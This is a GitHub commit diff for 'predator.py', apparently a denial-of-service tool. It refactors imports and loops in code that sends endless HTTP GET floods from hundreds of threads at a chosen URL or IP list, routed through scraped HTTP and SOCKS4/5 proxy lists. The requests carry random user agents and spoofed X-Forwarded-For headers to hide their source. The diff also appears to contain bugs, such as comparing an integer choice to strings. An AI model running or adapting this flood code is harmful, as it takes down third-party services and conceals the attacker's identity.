Skip to content

Commit 6a233ad

Browse files
Optimizations (imports and loops)
1 parent d2228fe commit 6a233ad

1 file changed

Lines changed: 53 additions & 53 deletions

File tree

predator.py

Lines changed: 53 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
1-
import socket
2-
import traceback
3-
import socks
4-
import threading
5-
import random
6-
import requests
7-
import re
1+
from socket import socket, AF_INET, SOCK_STREAM
2+
from traceback import print_exc
3+
from socks import setdefaultproxy, socksocket, PROXY_TYPE_SOCKS5, PROXY_TYPE_SOCKS4
4+
from threading import Thread
5+
from random import choice, randint
6+
from requests import get
7+
from re import split, match
88
from concurrent.futures import ThreadPoolExecutor
99

1010
red = "\033[1;91m"
@@ -28,21 +28,21 @@
2828
''') # The graphics are there
2929

3030

31-
useragents = open('headers.txt', 'r+').read().splitlines()
31+
useragents = open('headers.txt', 'r+').readlines()
3232

33-
http_proxies = requests.get(
33+
http_proxies = get(
3434
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt").text.split("\n")
35-
socks4_proxy = requests.get(
35+
socks4_proxy = get(
3636
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt").text.split("\n")
37-
socks5_proxy = requests.get(
37+
socks5_proxy = get(
3838
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt").text.split("\n")
3939

4040

4141
def Main_Menu(): # in This Function Septum The Url To Make It Usable For The FutureSetting Of HttpRequests
4242
global url
4343
global url2
4444
global urlport
45-
global choice
45+
global chosen
4646
global ips
4747
global threads
4848
global multiple
@@ -59,26 +59,26 @@ def Main_Menu(): # in This Function Septum The Url To Make It Usable For The Fu
5959
print("\033[92m")
6060

6161
try:
62-
while True:
62+
while 1:
6363
try:
64-
choice = int(input(f"\n{green}Do you want one target [0] or more[1] > {end}"))
64+
chosen = int(input(f"\n{green}Do you want one target [0] or more[1] > {end}"))
6565
except ValueError:
6666
print(f"{red}Use integers Only!!!{end}")
67-
if choice == 1:
67+
if chosen == 1:
6868
ip_file = input(f"{green}Insert txt file of ips > {end}")
69-
ips = open(ip_file).readlines()
69+
ips = open(ip_file, "r").readlines()
7070
break
71-
elif choice == 0:
72-
while True: # Automatically detect whether input is IP or URL
71+
elif chosen == 0:
72+
while 1: # Automatically detect whether input is IP or URL
7373
url = input(f"\n{green}Please Enter URL/IPv4 Address: {end}").strip()
74-
if re.match(URL_REGEX, url):
74+
if match(URL_REGEX, url):
7575
break
76-
elif re.match(IP_REGEX, url):
76+
elif match(IP_REGEX, url):
7777
break
7878
else:
7979
print(f"{red}Pattern Error, please enter correct URL/IPv4 Address{end}")
8080

81-
url2 = re.split(r"://", url)[1]
81+
url2 = split(r"://", url)[1]
8282

8383
try:
8484
urlport = url.split(":")[2] # directly get port if exist
@@ -94,12 +94,12 @@ def Main_Menu(): # in This Function Septum The Url To Make It Usable For The Fu
9494
except Exception as e: # If something goes wrong
9595
print(f"{red}Error: {e}{end}")
9696

97-
while True:
97+
while 1:
9898
anonymous = input("\nDo you want to use SOCKS4/5 or proxy [y/n] > ").lower()
9999
if anonymous == "y":
100100
use_proxy = True
101101
try:
102-
while True:
102+
while 1:
103103
type = int(input(f"{green}Choose [0] for SOCKS4/5 or [1] proxy > "))
104104
if type == 0:
105105
socks_mode = True
@@ -123,7 +123,7 @@ def Main_Menu(): # in This Function Septum The Url To Make It Usable For The Fu
123123
print(f"{red}please enter integers only;")
124124
break
125125

126-
elif choice == "n":
126+
elif chosen == "n":
127127
use_proxy = False
128128
break
129129

@@ -136,7 +136,7 @@ def Main_Menu(): # in This Function Septum The Url To Make It Usable For The Fu
136136
threads = 800
137137
print("800 threads selected.\n")
138138

139-
while True:
139+
while 1:
140140
try:
141141
multiple = int(input(f"{green}Insert a number of multiplication for the attack [(1-5=normal)(50=powerful)(100 or more=bomb)]: {end}"))
142142
break
@@ -199,7 +199,7 @@ def start_attack():
199199
print(f"{ThreadPool._max_workers} Threads initialized")
200200
#This starts threads as soon as they are all ready
201201
except Exception as e:
202-
print(traceback.print_exc())
202+
print(print_exc())
203203

204204
class RequestProxyHTTP: #The Multithreading class
205205

@@ -208,25 +208,25 @@ def __init__(self, counter): # Function put on practically only for the Threads
208208

209209
def launch(self):# the function that gives the instructions to the various threads
210210
useragent = "User-Agent: " + \
211-
random.choice(useragents) + "\r\n" # scelta useragent a caso
212-
accept = random.choice(acceptall) # scelta header accept a caso
213-
randomip = str(random.randint(0, 255)) + "." + str(random.randint(0, 255)) + \
214-
"." + str(random.randint(0, 255)) + "." + \
215-
str(random.randint(0, 255))
211+
choice(useragents) + "\r\n" # scelta useragent a caso
212+
accept = choice(acceptall) # scelta header accept a caso
213+
randomip = str(randint(0, 255)) + "." + str(randint(0, 255)) + \
214+
"." + str(randint(0, 255)) + "." + \
215+
str(randint(0, 255))
216216
# X-forward-for, a HTTP Header that allows you to increase anonymity (see Google for info)
217217
forward = "X-Forwarded-For: " + randomip + "\r\n"
218-
if choice == "1":
219-
ip = random.choice(ips)
218+
if chosen == "1":
219+
ip = choice(ips)
220220
get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
221221
else:
222222
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
223223
request = get_host + useragent + accept + forward + connection + "\r\n" # Here is the Final Request
224224
# wait for threads to be ready
225-
while True: # infinite loop
226-
proxy = random.choice(anonymity).strip().split(":")
225+
while 1: # infinite loop
226+
proxy = choice(anonymity).strip().split(":")
227227
try:
228228
# Here is our socket
229-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
229+
s = socket(AF_INET, SOCK_STREAM)
230230
# connection to the proxy
231231
s.connect((str(proxy[0]), int(proxy[1])))
232232
#Encode In Bytes Della Richiest a HTTP
@@ -250,22 +250,22 @@ def __init__(self, counter): # Function put on practically only for the Threads
250250

251251
def launch(self): # the function that gives the instructions to the various threads
252252
useragent = "User-Agent: " + \
253-
random.choice(useragents) + "\r\n" # READY PROXY CHOICE
254-
accept = random.choice(acceptall) # CHOICE CHOICE A random
255-
if choice == "1":
256-
ip = random.choice(ips)
253+
choice(useragents) + "\r\n" # READY PROXY CHOICE
254+
accept = choice(acceptall) # CHOICE CHOICE A random
255+
if chosen == "1":
256+
ip = choice(ips)
257257
get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
258258
else:
259259
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
260260
request = get_host + useragent + accept + \
261261
connection + "\r\n" # Final Request Composition
262262
# wait for threads to be ready
263-
while True:
264-
proxy = random.choice(anonymity).strip().split(":")
263+
while 1:
264+
proxy = choice(anonymity).strip().split(":")
265265
try:
266-
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(
266+
setdefaultproxy(PROXY_TYPE_SOCKS5, str(proxy[0]), int(
267267
proxy[1]), True) # Command to Proxat us with the SOCKS
268-
s = socks.socksocket() # Socket creation with pysocks
268+
s = socksocket() # Socket creation with pysocks
269269
s.connect((str(url2), int(urlport))) # connection
270270
s.send(str.encode(request)) # Send
271271
#PrintReq +Counter
@@ -279,9 +279,9 @@ def launch(self): # the function that gives the instructions to the various thr
279279
except: # If something goes wrong, this Except closes the socket and connects to the Try below
280280
s.close() # Closes Socket
281281
try: # the Try tries to see if the error is caused by the type of Errata SOCKS, in fact try with SOCKS4
282-
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(
282+
setdefaultproxy(PROXY_TYPE_SOCKS4, str(
283283
proxy[0]), int(proxy[1]), True)# Test with SOCKS4
284-
s = socks.socksocket() # Creation New Socket
284+
s = socksocket() # Creation New Socket
285285
s.connect((str(url2), int(urlport))) # connection
286286
s.send(str.encode(request)) # Send
287287
# print req + counter
@@ -302,25 +302,25 @@ def launch(self): # the function that gives the instructions to the various thr
302302
class RequestDefaultHTTP: # The Multithreading class
303303

304304
def __init__(self, counter): # Function put on practically only for the Threads Counter.The Council of the Function passes, passes the X+1 above as the Counter variable
305-
threading.Thread.__init__(self)
305+
Thread.__init__(self)
306306
self.counter = counter
307307

308308
def launch(self): # the function that gives the instructions to the various threads
309309
useragent = "User-Agent: " + \
310-
random.choice(useragents) + "\r\n" # Useragent Case
311-
accept = random.choice(acceptall) # accept a case
312-
if choice == "1":
313-
ip = random.choice(ips)
310+
choice(useragents) + "\r\n" # Useragent Case
311+
accept = choice(acceptall) # accept a case
312+
if chosen == "1":
313+
ip = choice(ips)
314314
get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
315315
else:
316316
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
317317
request = get_host + useragent + accept + \
318318
connection + "\r\n" #Final Request composition
319319
#wait for threads to be ready
320-
while True:
320+
while 1:
321321
try:
322322
# socket creation
323-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
323+
s = socket(AF_INET, SOCK_STREAM)
324324
s.connect((str(url2), int(urlport))) #connection
325325
s.send(str.encode(request)) #sending
326326
print("Request sent! @", self.counter) # printReq +Counter

0 commit comments

Comments
 (0)